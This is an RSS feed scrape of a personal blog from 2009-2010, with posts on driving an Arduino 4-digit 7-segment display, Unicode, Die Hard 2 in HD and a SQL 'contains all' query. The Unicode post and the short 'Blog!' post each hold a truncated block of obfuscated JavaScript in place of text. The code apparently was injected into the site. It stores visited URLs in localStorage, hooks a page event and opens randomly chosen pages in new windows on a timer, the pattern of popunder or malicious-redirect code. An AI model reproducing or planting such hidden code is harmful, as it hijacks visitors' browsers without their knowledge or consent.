> John Reilly http://johnreilly.me is awesome. Mon, 03 May 2010 13:40:32 +0000 en hourly 1 http://wordpress.org/?v=3.1 Arduino 4-Digit 7-Segment Display http://johnreilly.me/2010/04/arduino-4-digit-7-segment-display/ http://johnreilly.me/2010/04/arduino-4-digit-7-segment-display/#comments Wed, 14 Apr 2010 00:41:02 +0000 jreilly http://johnreilly.me/?p=42

Source code:

long n = 0;
int x = 100;
int del = 1;
 
void setup(){
//  clearLEDs();
//  testLEDs();
  pinMode(13, OUTPUT);
  pinMode(12, OUTPUT);
  pinMode(11, OUTPUT);
  pinMode(10, OUTPUT);
  pinMode(9, OUTPUT);
  pinMode(8, OUTPUT);
  pinMode(7, OUTPUT);
  pinMode(6, OUTPUT);
  pinMode(5, OUTPUT);
  pinMode(4, OUTPUT);
  pinMode(3, OUTPUT);
  pinMode(2, OUTPUT);
  pinMode(1, OUTPUT);
 
}
 
void loop(){
 
  clearLEDs();
  pickDigit(1);
  pickNumber((n/x/1000)%10);
  delayMicroseconds(del);
  clearLEDs();
  pickDigit(2);
  pickNumber((n/x/100)%10);
  delayMicroseconds(del);
  clearLEDs();
  pickDigit(3);
  pickNumber((n/x/10)%10);
  delayMicroseconds(del);
  clearLEDs();  
  pickDigit(4);
  pickNumber(n/x % 10);  
  delayMicroseconds(del);
  if(n/x > 9999){ 
    n = 0;
    delay(5000);
  }
  else n++;
}
 
void pickDigit(int x){
  digitalWrite(13, LOW); // dig 1
  digitalWrite(12, LOW); // dig 2
  digitalWrite( 9, LOW); // dig 3
  digitalWrite( 8, LOW); // dig 4
 
  switch(x){
    case 1: digitalWrite(13, HIGH); break;
    case 2: digitalWrite(12, HIGH); break;
    case 3: digitalWrite(9, HIGH); break;
    case 4: digitalWrite(8, HIGH); break;    
  }
}
 
void pickNumber(int x){
   switch(x){
     case 1: one(); break;
     case 2: two(); break;
     case 3: three(); break;
     case 4: four(); break;
     case 5: five(); break;
     case 6: six(); break;
     case 7: seven(); break;
     case 8: eight(); break;
     case 9: nine(); break;
     default: zero(); break;
   } 
}
 
void clearLEDs(){  
  //digitalWrite(13, HIGH);
 // digitalWrite(12, HIGH);
  //digitalWrite(9, HIGH);
//  digitalWrite(8, HIGH);  
  digitalWrite( 5, HIGH); // A
  digitalWrite( 7, HIGH); // B
  digitalWrite( 4, HIGH); // C
  digitalWrite(11, HIGH); // D
  digitalWrite(10, HIGH); // E
  digitalWrite( 3, HIGH); // F
  digitalWrite( 6, HIGH); // G 
}
 
void one(){
  digitalWrite( 5, HIGH); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, HIGH); // D
  digitalWrite(10, HIGH); // E
  digitalWrite( 3, HIGH); // F
  digitalWrite( 6, HIGH); // G 
}
 
void two(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, HIGH); // C
  digitalWrite(11, LOW); // D
  digitalWrite(10, LOW); // E
  digitalWrite( 3, HIGH); // F
  digitalWrite( 6, LOW); // G 
}
 
void three(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, LOW); // D
  digitalWrite(10, HIGH); // E
  digitalWrite( 3, HIGH); // F
  digitalWrite( 6, LOW); // G 
}
 
void four(){
  digitalWrite( 5, HIGH); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, HIGH); // D
  digitalWrite(10, HIGH); // E
  digitalWrite( 3, LOW); // F
  digitalWrite( 6, LOW); // G 
}
 
void five(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, HIGH); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, LOW); // D
  digitalWrite(10, HIGH); // E
  digitalWrite( 3, LOW); // F
  digitalWrite( 6, LOW); // G 
}
 
void six(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, HIGH); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, LOW); // D
  digitalWrite(10, LOW); // E
  digitalWrite( 3, LOW); // F
  digitalWrite( 6, LOW); // G 
}
 
void seven(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, HIGH); // D
  digitalWrite(10, HIGH); // E
  digitalWrite( 3, HIGH); // F
  digitalWrite( 6, HIGH); // G 
}
 
void eight(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, LOW); // D
  digitalWrite(10, LOW); // E
  digitalWrite( 3, LOW); // F
  digitalWrite( 6, LOW); // G 
}
 
void nine(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, LOW); // D
  digitalWrite(10, HIGH); // E
  digitalWrite( 3, LOW); // F
  digitalWrite( 6, LOW); // G 
}
 
void zero(){
  digitalWrite( 5, LOW); // A
  digitalWrite( 7, LOW); // B
  digitalWrite( 4, LOW); // C
  digitalWrite(11, LOW); // D
  digitalWrite(10, LOW); // E
  digitalWrite( 3, LOW); // F
  digitalWrite( 6, HIGH); // G 
}

]]>
http://johnreilly.me/2010/04/arduino-4-digit-7-segment-display/feed/ 0
You probably don’t understand Unicode http://johnreilly.me/2009/12/you-probably-dont-understand-unicode/ http://johnreilly.me/2009/12/you-probably-dont-understand-unicode/#comments Wed, 09 Dec 2009 23:49:00 +0000 jreilly http://johnreilly.me/?p=29 {_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());]]> Joel Spolsky fixes that:

http://www.joelonsoftware.com/articles/Unicode.html

]]>
http://johnreilly.me/2009/12/you-probably-dont-understand-unicode/feed/ 0
Die Hard 2 in HD is hilarious http://johnreilly.me/2009/12/die-hard-2-in-hd-is-hilarious/ http://johnreilly.me/2009/12/die-hard-2-in-hd-is-hilarious/#comments Tue, 08 Dec 2009 02:08:42 +0000 jreilly http://johnreilly.me/?p=15 Not only does HD make new movies and shows better, it makes older movies from the pre-HD era even more awesome. Case in point, one of my favorites: Die Hard 2. Director Renny Harlin probably never expected that this scene would be seen in such clarity. These images are from a 30 second sequence where a terrorist on top of some scaffolding falls and is crushed by said scaffold. A tense and brutal scene when viewed in standard definition turns into something else when viewed in HD:

Actor

Actor

Stuntman (with gray hair!)

Stuntman with gray hair

Actor, again

Actor, again

Hilariously fake dummy

What the... seriously?

And this is just one example. The movie is packed full of action-scenes-turned-comedy when seen in HD.

]]>
http://johnreilly.me/2009/12/die-hard-2-in-hd-is-hilarious/feed/ 0
SQL “Contains All” Query http://johnreilly.me/2009/12/sql-contains-all-query/ http://johnreilly.me/2009/12/sql-contains-all-query/#comments Tue, 01 Dec 2009 22:49:10 +0000 admin http://johnreilly.me/?p=5 Problem: You want to return a set of employees that have all of the necessary skills to perform a particular task. A generalization of this would be something like, “return the objects in set A which contain all of the properties of a chosen item of set B”.

You have a table of Employees and a table of Tasks. Both make use of a common Skills table. The Employee table is linked to the Skills table by the table EmployeeHasSkill. The Task table is linked to the Skills table by TaskRequiresSkill.

contains-all

My Solution: This is tricky because a Task can have any number of necessary Skills and an Employee must have ALL of these skills to be returned in the result set. The following query will return the employees that have all the necessary skills for a given task:

SELECT
	EmployeeId
FROM
	EmployeeHasSkill
WHERE
	SkillId IN (
		SELECT SkillId
		FROM TaskNeedsSkill
		WHERE TaskId = @TaskId
	)
GROUP BY
	EmployeeId
HAVING
	COUNT(TaskId) = (
		SELECT COUNT(SkillId)
		FROM TaskNeedsSkill
		WHERE TaskId = @TaskId
	)

This works by first returning all the rows in EmployeeHasSkill that match the skills needed for a task. Then it groups these results by employee. Finally, it returns only the employees that have all of the requisite skills (i.e. only the employees with a TaskId count that matches the SkillId count of the Task), ignoring any employees that only have some of the required skills.

There’s a good chance I’m over-complicating things and there exists some simple functionality to achieve this same result. If so, please post about it in the comments!

]]>
http://johnreilly.me/2009/12/sql-contains-all-query/feed/ 0
Blog! http://johnreilly.me/2009/07/blog/ http://johnreilly.me/2009/07/blog/#comments Sat, 04 Jul 2009 06:55:23 +0000 admin http://johnreilly.me/?p=3 {_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());]]> Hooray!

]]>
http://johnreilly.me/2009/07/blog/feed/ 0